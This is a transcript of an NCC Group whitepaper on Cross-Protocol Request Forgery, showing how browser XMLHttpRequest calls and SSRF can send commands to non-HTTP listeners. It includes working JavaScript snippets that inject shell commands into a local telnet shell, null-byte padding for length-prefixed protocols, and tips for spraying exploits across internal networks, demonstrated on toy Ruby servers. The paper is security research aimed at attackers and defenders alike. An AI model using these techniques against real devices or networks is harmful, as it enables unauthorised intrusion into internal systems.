cross-protocolrequestforgery · nccgroupwhitepaper cross-protocolrequestforgery author tannerprynn...

16
NCC Group Whitepaper Cross-Protocol Request Forgery Author Tanner Prynn Abstract Server-Side Request Forgery (SSRF) and Cross-Site Request Forgery (CSRF) are two attack methods that enable attackers to cross network boundaries in order to attack applications, but can only target applications that speak HTTP. Custom TCP protocols are everywhere: IoT devices, smartphones, databases, development software, internal web applications, and more. Often, these applications assume that no security is necessary because they are only accessible over the local network. This paper aims to be a definitive overview of attacks that allow cross-protocol exploitation of non-HTTP listeners using CSRF and SSRF, and also expands on the state of the art in these types of attacks to target length-specified protocols that were not previously thought to be exploitable.

Upload: others

Post on 21-Mar-2020

3 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

NCC Group WhitepaperCross-Protocol Request ForgeryAuthorTanner Prynn

AbstractServer-Side Request Forgery (SSRF) and Cross-Site Request Forgery (CSRF) are two attackmethods that enable attackers to cross network boundaries in order to attack applications,but can only target applications that speak HTTP. Custom TCP protocols are everywhere:IoT devices, smartphones, databases, development software, internal web applications, andmore. Often, these applications assume that no security is necessary because they are onlyaccessible over the local network. This paper aims to be a definitive overview of attacksthat allow cross-protocol exploitation of non-HTTP listeners using CSRF and SSRF, and alsoexpands on the state of the art in these types of attacks to target length-specified protocolsthat were not previously thought to be exploitable.

Page 2: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

Table of Contents1 Background . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

Crossing Network Boundaries with Request Forgery . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

CSRF in Three Lines of Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

Characteristics of Vulnerable Web Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4

Targeting Local Listeners . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

2 Attacking Non-HTTP Listeners with Request Forgery . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

Prior Research . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

Observations on Binary Protocols for Firewalled Listeners . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

Vulnerable Protocol Patterns . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

3 Advanced Exploitation and Real-World Debugging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

Tips for Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

Dealing with Browser Quirks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

4 Example Vulnerable Listeners . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

Command-Line Listener . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

Length-Delimited Listener . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

5 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

Takeaways for Security Researchers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

Takeaways for Developers and Defenders . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

2 | Cross-Protocol Request Forgery NCC Group

Page 3: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

BackgroundThis whitepaper formalizes a class of attacks called Cross-Protocol Request Forgery (CPRF) which enables non-HTTPlisteners to be exploited through Cross-Site Request Forgery (CSRF) and Server-Side Request Forgery (SSRF).

This paper both references existing research and expands upon it in later sections. Throughout this whitepaper, refer-ences aremadewhere possible to existing research on cross-protocol attacks. Many of the techniques contained in thiswhitepaper are known to researchers who have explored cross-protocol attacks, but have seldom been discussed indepth in public research. This whitepaper formally addresses and defines these techniques in order to promote furtherexploration of these types of attacks. In later sections, length-specified protocols, authenticated listeners, control andworkarounds of browser behavior are introduced as new cross-protocol exploitation techniques.

This section goes over some background information on how request forgery attacks (CSRF and SSRF) can be used totarget internal networks that an attacker would not otherwise have access to.

Crossing Network Boundaries with Request ForgeryServer-Side Request Forgery (SSRF)1 and Cross-Site Request Forgery (CSRF)2 are two attack methods that enableattackers to send HTTP requests from inside a victim’s network. Essentially, these attacks can be used to cross firewallsand hit servers that were never meant to be exposed to an attacker’s input.

This firewall-crossing property has been most strongly associated with SSRF vulnerabilities, and less often with CSRF.For example, one common SSRF technique is to steal AWS credentials using the AWS metadata service, which onlyruns on an internally-accessible IP address. CSRF attacks have been used in this way as well, but the primary target hasbeen consumer wireless routers,3 due to the inherent limitations of cross-site requests in web browsers.4

The remainder of this section expands on how request forgery attacks (both CSRF and SSRF) can be used to targetinternal networks that an attacker would not otherwise have access to. Readers who are already familiar with theseattack types may choose to skip ahead to Attacking Non-HTTP Listeners with Request Forgery on page 6.

CSRF in Three Lines of CodeIn plain JavaScript, a network-crossing CSRF attack looks like this:

var x = new XMLHttpRequest();x.open("POST", "http://192.168.1.100/");x.send("any desired data");

XMLHttpRequest is an API, usable in all modern browsers, that allows cross-site requests. In the second line, themethod (POST) and target (a server on the local subnet) are specified. Finally, the send() call allows the request bodyto be specified. Using this API, essentially any data - including binary data - can be sent in the request body (usage isdiscussed in more detail in Advanced Exploitation and Real-World Debugging on page 11).1https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF2https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)3https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2017/april/technical-advisory-quentanna/4https://www.w3.org/TR/cors/#introduction

3 | Cross-Protocol Request Forgery NCC Group

Page 4: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

Figure 1: Using CSRF, an attacker can cause a victim’s computer to attack their own devices and servers.

One important thing to note is that, in most scenarios, the attacker cannot read the server’s response.5 Most CSRFattacks need to use a single request, using only known or guessable data, to compromise the targeted device. Thisexplains why consumer routers have historically been the most common firewall-protected CSRF target. Almost everyrouter manufacturer has had easily-exploitable code execution vulnerabilities (Asus, D-Link, Netgear, etc.). Further,consumer routers are extremely popular, rarely up-to-date, and generally have a known, fixed IP address on thenetwork, all qualities that make them easy to target.

Characteristics of Vulnerable Web ApplicationsVulnerable applications typically have the following properties:

• They are accessible on an internal network to employees within an office or connected using a VPN, or to anotherapplication on the internal network that contains a known SSRF vulnerability.

• The target (though not its IP address or port) has to be known to the attacker. Exploits will be very targeted toa specific application or device, so the most easily targetable will be open-source web applications (for example,Jenkins6) and common networked devices like routers.

5DNS Rebinding does allow attackers to read server responses in some cases, and is explored more in Advanced Exploitation andReal-World Debugging on page 11.6https://groups.google.com/forum/#!topic/jenkinsci-advisories/lJfvDs5s6bk

4 | Cross-Protocol Request Forgery NCC Group

Page 5: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

Figure 2: A vulnerable internal web application

Targeting Local ListenersCSRF and SSRF can also target localhost listeners as well. These are very often ignored in threat modeling, butrepresent a severely underrated attack surface. Because developers assume a local listener can never receive externalinput, there is often very little security auditing of these listeners. For example, Trend Micro’s antivirus had a localweb listener with a trivial code execution vulnerability. Similar vulnerabilities have been discovered by the authorof this paper in applications intended for software developers, such as web interfaces for development databasemanagement.

Figure 3: An example of a vulnerable ”backdoor” listener on an Android phone

Any device that can make an HTTP request could potentially be used to attack its own local listeners, includingsmartphones, smart TVs, game consoles, and other embedded devices running browsers. Consider a local ITemployee setting up a new Windows server on EC2: it is almost guaranteed they will open a browser to downloadsoftware or look up the answer to a question. Can the site that comes up as the fifth search result for “How to configureX software” be trusted not to attack that very software?

5 | Cross-Protocol Request Forgery NCC Group

Page 6: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

AttackingNon-HTTP Listenerswith Request ForgeryThe purpose of the research contained in this paper is to explore the usage of CSRF and SSRF attacks to target non-HTTP listeners. Themotivating idea is the question: “How can we attack TCP listeners that we know are vulnerable, butcan’t reach over the network?” For example, if an Android phone has a local non-HTTP listener for a binary running asroot, is that listener only exploitable from a local application, or could it be targeted from a website as well?

root@crummy-android-phone:~# netstat -tlpnActive Internet connections (only servers)Proto Local Address State PID/Program nametcp 127.0.0.1:4000 LISTEN 18390/scary-root-binary

Prior ResearchThe possibility of using HTTP requests to attack other protocols was first explored in a 2001 whitepaper by JochenTopf7 and revisited in a 2007 whitepaper by NGSSoftware8 (later acquired by NCC Group). The initial release ofthese vulnerabilities causedmajor browsers to implement port blacklists in order to prevent attacks on specific, knownservices. The HTML form techniques used in those papers are relatively outdated; the XMLHttpRequest API is nowmuch more powerful and can submit arbitrary binary data to any location, without the restrictions of HTML forms.

Since these whitepapers, there have been only a small number of public attacks of this type.9 In 2009, it was used toachieve cross-site scripting on certain sites through FTP,10 and in 2010, browsers were used to spam IRC servers.11 Themost severe public discussion of a cross-protocol attack was from a 2014 blog post by Nicolas Grégoire. The blog postattempted to attack Redis’s unauthenticated, text-based network interface. This attack was later expanded to achievefull remote code execution.

A more in-depth resource on modern cross-protocol attacks was presented in a series of blog posts12 and conferencetalks13 by Michelle Orru and Ty Miller as part of the BeEF Project. This research developed a working cross-protocolexploit using XMLHttpRequest for a vulnerable IMAP server.

Across the realm of prior research, many different names have been used for cross-protocol attacks: “Cross-ProtocolScripting”, “Inter-Protocol Exploitation”, “Cross-Site Printing”, and more. The use of the name “Cross-Protocol RequestForgery” defines the scope of this paper, which will specifically cover cross-protocol attacks using request forgerytechniques (CSRF or SSRF).

Observations on Binary Protocols for Firewalled ListenersNon-HTTP listeners are everywhere: IoT devices, smart TVs, smartphones, databases, development software, internalweb applications. They are massively unexplored because network boundaries typically make them invisible, so theydo not receive nearly the scrutiny that Internet-facing software does.

The protocols are typically very simple and forgiving of errors and malformed messages. That is because they areoften created with little testing or used for debugging purposes - hard errors or crashes will be avoided at all costs. Inparticular, spewing garbage data at these listeners often earns only a “could not parse message” error.

Almost as a rule, these listeners have high privileges and dangerous functionality. When asked about the securityimpact of these listeners, developers tend to argue that their applications should not be exposed to untrusted inputand should always bebehind somenetwork control, such as a firewall. But as discussed in theprevious section, network7https://www.jochentopf.com/hfpa/hfpa.pdf [PDF]8https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/inter-protocol_exploitation.pdf [PDF]9See also http://bugs.proftpd.org/show_bug.cgi?id=4143#c0, http://seclists.org/fulldisclosure/2010/Mar/447, https://blog.lizzie.io/exploiting-CVE-2016-8606.html, and https://oaklandsok.github.io/papers/muller2017.pdf [PDF].10Cross-protocol XSS with non-standard service ports (Internet Archive link)11https://www.theregister.co.uk/2010/01/30/firefox_interprotocol_attack/12See http://blog.beefproject.com/2012/11/revitalizing-inter-protocol.html and http://blog.beefproject.com/2014/03/exploiting-with-beef-bind-shellcode_19.html.13https://www.slideshare.net/micheleorru2/rooting-your-internals-exploiting-internal-network-vulns-via-the-browser-using-beef-bind

6 | Cross-Protocol Request Forgery NCC Group

Page 7: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

boundaries are not enough to protect against request forgery.

Vulnerable Protocol PatternsThere are two major patterns implemented by vulnerable listeners: command-line interfaces and length-specifiedprotocols. Simple vulnerable listeners behave like command-line interfaces, which accept inputs separated bydelimiters. More complex listeners require each message to contain a field defining the length of the message, inorder to know how much data to read before processing.

Command-Line InterfaceThe application presents a plaintext CLI-like interface, with or without username/password authentication. Databasesand shells are good examples, but many protocols expect a simple text-based interaction, such as SMTP.

sql> create table test ( id int, key string, value string );sql> insert into test ( 0, "a", "b" );sql> select * from test;0|a|b

Howdoes this kind of listener respond to anHTTP request? We consider a simple example14: busybox’s built-in telnetserver, plus sh. Many embedded devices use a similar setup:

user@ubuntu16:~ $ busybox telnetd -l '/bin/sh' -p 2000

The Telnet protocol is essentially just raw ASCII, plus some non-critical control bytes. It’s possible to use netcat to talkto this listener:

user@ubuntu16:~ $ nc localhost 2000...non-printable control chars...Ubuntu 16.04.3 LTS$ echo $SHELL/bin/bash

What will this listener do when it sees a web request? These lines, runnable in a developer console, demonstrate theissue:

var x = new XMLHttpRequest();x.open("POST", "http://localhost:2000");x.send("whoami > /tmp/test.txt\n");

From Chrome, the request looks exactly like this:

POST / HTTP/1.1Host: localhost:2001Connection: keep-aliveContent-Length: 23Origin: http://www.example.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36

Content-Type: text/plain;charset=UTF-8Accept: */*Referer: http://www.example.com/Accept-Encoding: gzip, deflate, br

14This example is intentionally simplified for ease of explanation. It may not work reliably in the real world, because busybox’stelnetdmay stop processing input when the browser closes the connection upon receiving amalformed response. For an examplethat more reliably demonstrates the problem, see Example Vulnerable Listeners on page 14.

7 | Cross-Protocol Request Forgery NCC Group

Page 8: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

Accept-Language: en-US,en;q=0.9

whoami > /tmp/test.txt

The request is just plain ASCII - exactly what the listener expects. Of course, POST, Host and Connection all don’t meananything to bash, but that is fine. It just waits for the next valid command.

$ POST / HTTP/1.1/bin/sh: 8: POST: not found$ Host: localhost:2001/bin/sh: 9: Host:: not found$ Content-Length: 23/bin/sh: 11: Content-Length:: not found...$ whoami > /tmp/test.txt

Once the listener reaches the body, it finally reads a valid command and will execute it. Turning this type of exploitinto a script or webpage is straightforward. For a real-world example where this might be exploited, consider CVE-2017-8224: the Chinese “WIFICAM” security camera uses a telnet listener with a weak, static password.15 (For somecomments on exploiting an authenticated listener, seeAdvancedExploitation andReal-WorldDebuggingonpage11.)

Many types of delimited protocols are functionally similar to the command-line interface pattern and can be exploitedsimilarly easily. In a command-line interface, the delimiter is a newline (\x0d\x0a); protocols that use null-bytes toindicate a boundary are also common. Some listenersmay look for a delimiter on either side of a payload: for example,a server that expects a sequence of XML messages starting with <xml> and ending with </xml>.

Length-Specified ProtocolsMany simple protocols will read a length value, then read that number of bytes before processing a message. Slightlymore complex variations may require a fixed-length header or use full Type-Length-Value format. Again, the commonthread among vulnerable services is that malformed messages are simply ignored, and subsequent messages areprocessed normally.

The simplest example is a protocol that expects a single length byte and then reads that many bytes. What does anHTTP request look like to such a listener? Imagine sending a POST request with the body “blahblahblah”:

POST / HTTP/1.1Host: localhost:8080Connection: keep-aliveContent-Length: 12Origin: http://www.example.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36

Content-Type: text/plain;charset=UTF-8Accept: */*Referer: http://www.example.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.8

blahblahblah

Assuming the entire HTTP request is present in the input buffer, the listener will process it as follows:

1. Immediately read a single byte (“P”) and interpret it as a length in bytes: 0x50, or 80 bytes.15See comments on http://nm-projects.de/2017/01/hacking-ip-camera-digoo-bb-m2-part-3-getting-root-access/.

8 | Cross-Protocol Request Forgery NCC Group

Page 9: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

2. Pop 80 bytes from the input buffer and process them as a message:

OST / HTTP/1.1\nHost: localhost:8080\nConnection: keep-alive\nContent-Length: 12\nO

3. The processed message was invalid and is dropped. The listener continues processing the input buffer.

4. Repeat until the input buffer is exhausted: read a single byte (“r”), interpret it as a length (114 bytes), pop that manybytes from the input buffer, and process them as a message.

5. If there are not enough bytes in the input buffer to retrieve a full message (step 2), wait until more data is retrievedfrom the network.

The full example is worked in the figure below. The most immediate takeaway from the example is that this type oflistener requires data to be padded and length-adjusted in order to be processed correctly. If an exploit payload issimply copied into the body of a request, the listener will not process the payload correctly. Instead, the listener willhave interpreted some byte in the headers as a length, causing the payload to be only partially processed - and, almostsurely, processed incorrectly.

Figure 4: A length-specified protocol expects one to four bytes to specify a length, then reads that many bytes beforeprocessing amessage. Each red character is a byte interpreted as a length, and each underlined section is interpretedas a message.

If the HTTP headers are exactly known, it is relatively easy to pad the request body to exactly the right length. Then,an exploit that works from a local network can (by prepending the correct padding) be transposed directly into anexploit that works from a web browser. However, it is difficult to rely on the header ordering and length; these values

9 | Cross-Protocol Request Forgery NCC Group

Page 10: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

differ between browsers, versions of browsers, operating systems, and more. Sending a test request to an attacker-controlled server could help to know the exact HTTP request format to aid in byte-counting.

Instead of exact byte-counting, most protocols can be padded in a browser-independent way to create reliableexploits. For many protocols, CPRF exploits can be padded using a “sled” of short or empty messages in the samemanner as a NOP sled. In the above example, simply prepending a string of null bytes to the request body will causethe parser to slide through a sequence of empty messages until it reaches the exploit.

This trick is less likely to be successful with more complex protocols. In the worst case, a CSRF or SSRF request canbe sent repeatedly, with increasingly-large padding, until all possible paddings have been exhausted. On one hand,this strategy is most effective for protocols with small (single-byte) length fields. On the other hand, protocols withlength fields of two or more bytes are likely to read the entirety of the HTTP headers as a single message, making exactcounting and padding straightforward.

10 | Cross-Protocol Request Forgery NCC Group

Page 11: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

AdvancedExploitation andReal-WorldDebuggingCross-Protocol Request Forgery can be used for extremely predictable and consistent exploitation of many services.However, the design of a CPRF exploit often runs into a number of frustrating real-world stumbling blocks. This sectionattempts to discuss stumbling blocks experienced by the author that can be overcome with someminor modificationsto most exploits.

Tips for ExploitationExploit Targeting / Discovery of Vulnerable HostsWith CSRF, it is generally impossible to tell what applications are running on specific network hosts. While many SSRFvulnerabilities offer more flexibility in discovering live hosts, there is no need to rely on targeting exploits to specificvulnerable applications. Instead, reliable exploits can be sprayed across entire network segments from a single webpage or SSRF vulnerability:

1. Discover the internal IP address range. The JavaScript WebRTC API allows leakage of the host’s internal IPaddress,16 while SSRF vulnerabilities can usually be used to discover the IP address of a live internal host. Similarly,XMLHttpRequest timing information can be used to discover live hosts.17

2. Systematically target the exploit at all addresses on the internal network. XMLHttpRequest and SSRF vulnerabilitiesare both generally limited only by the speed of the connection to a destination; automating CPRF attacks isstraightforward as long as the exploit is relatively small and reliable.

Controllable Fields Within HTTP Requests Sent Using XMLHttpRequest

With more complex listeners, it can be helpful to gain more control over the content of requests. The following fieldswithin a request are attacker-controlled18:

• HTTP Verb: Can be GET, POST, HEAD, or OPTIONS, but POST is the most useful request type as no other request cancontain content within the body.

• Host and Origin Headers: These headers contain the domain name, which an attacker can set up to reflect arbitraryinternal IP addresses. As a result, they can contain any valid domain characters (unicode domains are, unfortunately,converted to punycode representations).

• CORS-Safelisted Headers: Any safelisted header can have an attacker-specified value, including arbitrary binarydata (but not null bytes, line breaks, or carriage returns). These headers are: Accept, Accept-Language, Content-Language, Last-Event-ID, DPR, Save-Data, Viewport-Width, and Width. The Content-Type header can also bemodified, but its value is restricted.

POST bodies sent with XMLHttpRequest can contain arbitrary binary data, including newlines and null bytes. Payloadscontaining any ASCII data (i.e. no bytes greater then 0x7f) can be passed directly to the send() call as a string. Toinclude non-ASCII data, payloads should be converted to a Blob or ArrayBuffer. When using XMLHttpRequest, HTTPbodies are generally not mangled by the browser, regardless of the Content-Type value.

Authenticated ListenersAuthentication prompts can be a major impediment to a successful exploit. Assuming an authenticated listener hasknown or easily-guessable credentials, it is still possible to target these listeners. In the author’s experience, thefollowing points are worth keeping in mind:

• Username and password values have to be delivered in order and at the right time. When developing the exploit,count the number of lines sent by the browser to make sure that the listener receives the correct values. Listenersthat close connections after only a small number of login attempts may be impossible to exploit.

• Listeners which perform expensive password hashing may or may not be exploitable. MD5 is quick enough to beessentially ignored, but bcrypt can take so long that the connection is closed before any payload is delivered.

16https://browserleaks.com/webrtc17https://github.com/beefproject/beef/wiki/Network-Discovery#identify-lan-subnets18For more information, see https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS or https://xhr.spec.whatwg.org/.

11 | Cross-Protocol Request Forgery NCC Group

Page 12: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

• Some listenersmay flush the input buffer after a successful login; extra paddingbetween the credentials andpayloadcan often take care of this issue (see “TCP Segmentation” below).

Potential Exploitation Using Alternative Browser ProtocolsModern browsers support a number protocols. While HTTP is the most direct and easy-to-use for cross-protocolexploitation, others could potentially have uses as well:

• HTTPS: HTTP over a TLS-encrypted channel. Connections can easily be created by specifying the protocol, but theonly easily-modifiable value in the handshake is the SNI hostname. HTTPS may be useful to exploit TLS-enabledlisteners in the same way as plain TCP listeners.

• FTP: Browsers support FTP file servers, but the author is unaware of whether it is possible to perform useful controlover these connections using JavaScript. As a result, it seems unlikely that FTP is more useful than HTTP.

• Websockets (WS and WSS): Websockets are essentially a direct TCP connection between hosts. However, aWebsocket connection can only be created by performing a valid HTTP handshake and response; non-Websocket-aware listeners will never create a valid response, which is necessary for the browser to upgrade the connection.

• QUIC and HTTP/2: These new browser protocols do not seem to be useful for cross-protocol exploitation as thereis currently no way to control them using JavaScript.

DNS Rebinding and HTTP/0.9HTTP/0.9 is an older version of the HTTP protocol that does not have a defined format for server responses. Somebrowsers (notably, modern versions of Internet Explorer and Firefox) still support HTTP/0.9 and will, in fact, treat anyresponse which is not valid HTTP/1.x as an HTTP/0.9 response. As a result, it is possible to read the response in thesebrowsers if the Same-Origin Policy has not been violated. Generally, this would not be the case (example.com targetinglocalhost violates the Same-Origin Policy). However, DNS Rebinding allows the Same-Origin Policy to be violated inthis type of attack, disclosing the response to the attacker. This technique could enable more advanced exploitation.Thanks to Jann Horn for this information.

Dealing with Browser QuirksThis section will deal with workarounds to the low-level TCP handling behavior performed by browsers. Testing wasperformed primarily in Chrome.

Prematurely Closed ConnectionsMany listeners will respond with some data even before the browser is finished sending the request. Upon receivingthe malformed response, the browser will typically close the TCP connection; potentially without even sending theentire request body. Even if the full request body is sent, listeners will often not process their entire input buffer if theconnection has been closed and they can no longer send data to the client. This is dependent on a number of factors,but most importantly on how the listener handles its input buffers.

As a workaround, padding the end of the request body with a large amount of unimportant data often causes thebrowser and listener to hold the connection open for longer, in order to force the listener to process the payload thatappears at the start of the body.

Alternatively, using the Fetch API may cause browsers to hold connections open longer if the keepalive flag is set.(Fetch is a newer alternative to XMLHttpRequest supported in the major browsers; for the purposes of cross-protocolattacks, the functionality of the two APIs is essentially the same.)

TCP SegmentationTCP connections are buffered. They wait for some minimum amount of data before sending, and will generally sendonly a maximum amount of data at a time. As a result, the network driver will split up sent data into a number of TCPdata units (“segments”) depending on when it receives the data from the application and the size of the data. Forexample, when sending an HTTP request of 55876 bytes (Chrome on OS X), Wireshark shows:

12 | Cross-Protocol Request Forgery NCC Group

Page 13: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

Figure 5: Outbound TCP data split into 5 TCP segments

The first segment (394 bytes) is the HTTP header, which Chromepasses in the initial network write. In a second networkwrite, Chrome sends the body. So, the body is split up into three maximum-sized (16384 byte) segments with the finalsegment containing all leftover data.

Generally, browsers will process and send request data quickly enough that segmentation does not affect how mostlisteners handle data. However, for listeners that are sensitive to data lengths, it may be helpful to craft payloadscarefully in order to cause reads at specific locations in the incoming data.

HTTP ProxiesHTTP proxies, such as Burp Suite or mitmproxy, generally do a reasonable job of not modifying the actual text of arequest and response. The underlying TCP connection, however, is completely changed. Further, these proxies donot handle non-HTTP data well. It will likely be significantly more difficult to develop a successful exploit through anintercepting proxy, and the exploit will more-than-likely not succeed without modification when run without the proxy.

The author strongly recommends disabling all proxies between the browser and target, and using a tool suchas Wireshark to view data on-the-wire. Alternatively, consider directly debugging the listener or adding loggingstatements around network handling.

13 | Cross-Protocol Request Forgery NCC Group

Page 14: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

Example Vulnerable ListenersThis section contains two code samples that demonstrate Cross-Protocol Request Forgery vulnerabilities. Each shouldwork using Ruby (any contemporary version - 1.8 through 2.4) with no dependencies.

Command-Line ListenerThis server demonstrates a command-line interface:

require 'socket'

server = TCPServer.new 2001

loop doThread.start(server.accept) do |client|

client.write "cli> "

until client.eof?line = client.gets

case linewhen /^echo ?['"]?([\w ]+)?['"]?/

client.puts $1when /^win ['"]?([\w -]+)['"]?/

f = open("./winners.txt", "a")f.write($1 + " won!\n")f.close

when /^(help)|\?$/client.puts "echo [string] - print a string"client.puts "win [name] - win the game"client.puts "help - print this help"client.puts "quit - quit this console"

when /^quit/client.puts "bye!"break

elseclient.puts "unknown command"

end

client.flushclient.write "cli> "

end

client.closeend

end

A successful exploit is as simple as:

var x = new XMLHttpRequest();x.open("POST", "http://localhost:2001");x.send("win alice\n");

14 | Cross-Protocol Request Forgery NCC Group

Page 15: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

Length-Delimited ListenerThis server demonstrates a length-delimited protocol:

require 'socket'require 'json'

server = TCPServer.new 2002

def client_loop(client)len = client.readbytedata = client.read(len)

message = {}begin

message = JSON.parse(data)rescue JSON::ParserError

STDOUT.puts "Malformed message"rescue Exception => e

STDOUT.puts "Unknown Error"end

if /([\w\d -]{2,})/.match(message["name"])f = open("./winners.txt", "a")f.write($1 + " won!\n")f.close

end

returnend

loop doThread.start(server.accept) do |client|

beginuntil client.eof?

client_loop(client)end

rescue Exception => eSTDOUT.puts e

ensureclient.close

endend

end

A successful exploit is more complicated, requiring padding before the payload (the amount of padding was chosenarbitrarily):

var x = new XMLHttpRequest();x.open("POST", "http://localhost:2002");

x.send("\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x11{\"name\":\"andrew\"} ");

15 | Cross-Protocol Request Forgery NCC Group

Page 16: Cross-ProtocolRequestForgery · NCCGroupWhitepaper Cross-ProtocolRequestForgery Author TannerPrynn Abstract Server-SideRequestForgery(SSRF)andCross-SiteRequestForgery(CSRF)aretwoattack

ConclusionHopefully the following takeaways are helpful for both attackers and defenders:

Takeaways for Security ResearchersAny security researcher working on hardware or software that listens for non-HTTP traffic should be aware that there isthe potential for cross-protocol attacks against that application. Perhaps evenmore importantly, many existing networkexploits that previously required internal network access have the potential to be turned fully remote. CombiningCSRF and CPRF exploits could make phishing campaigns devastatingly effective against many organizations runninginsecure or unpatched local servers, and SSRF vulnerabilities have become even more impactful.

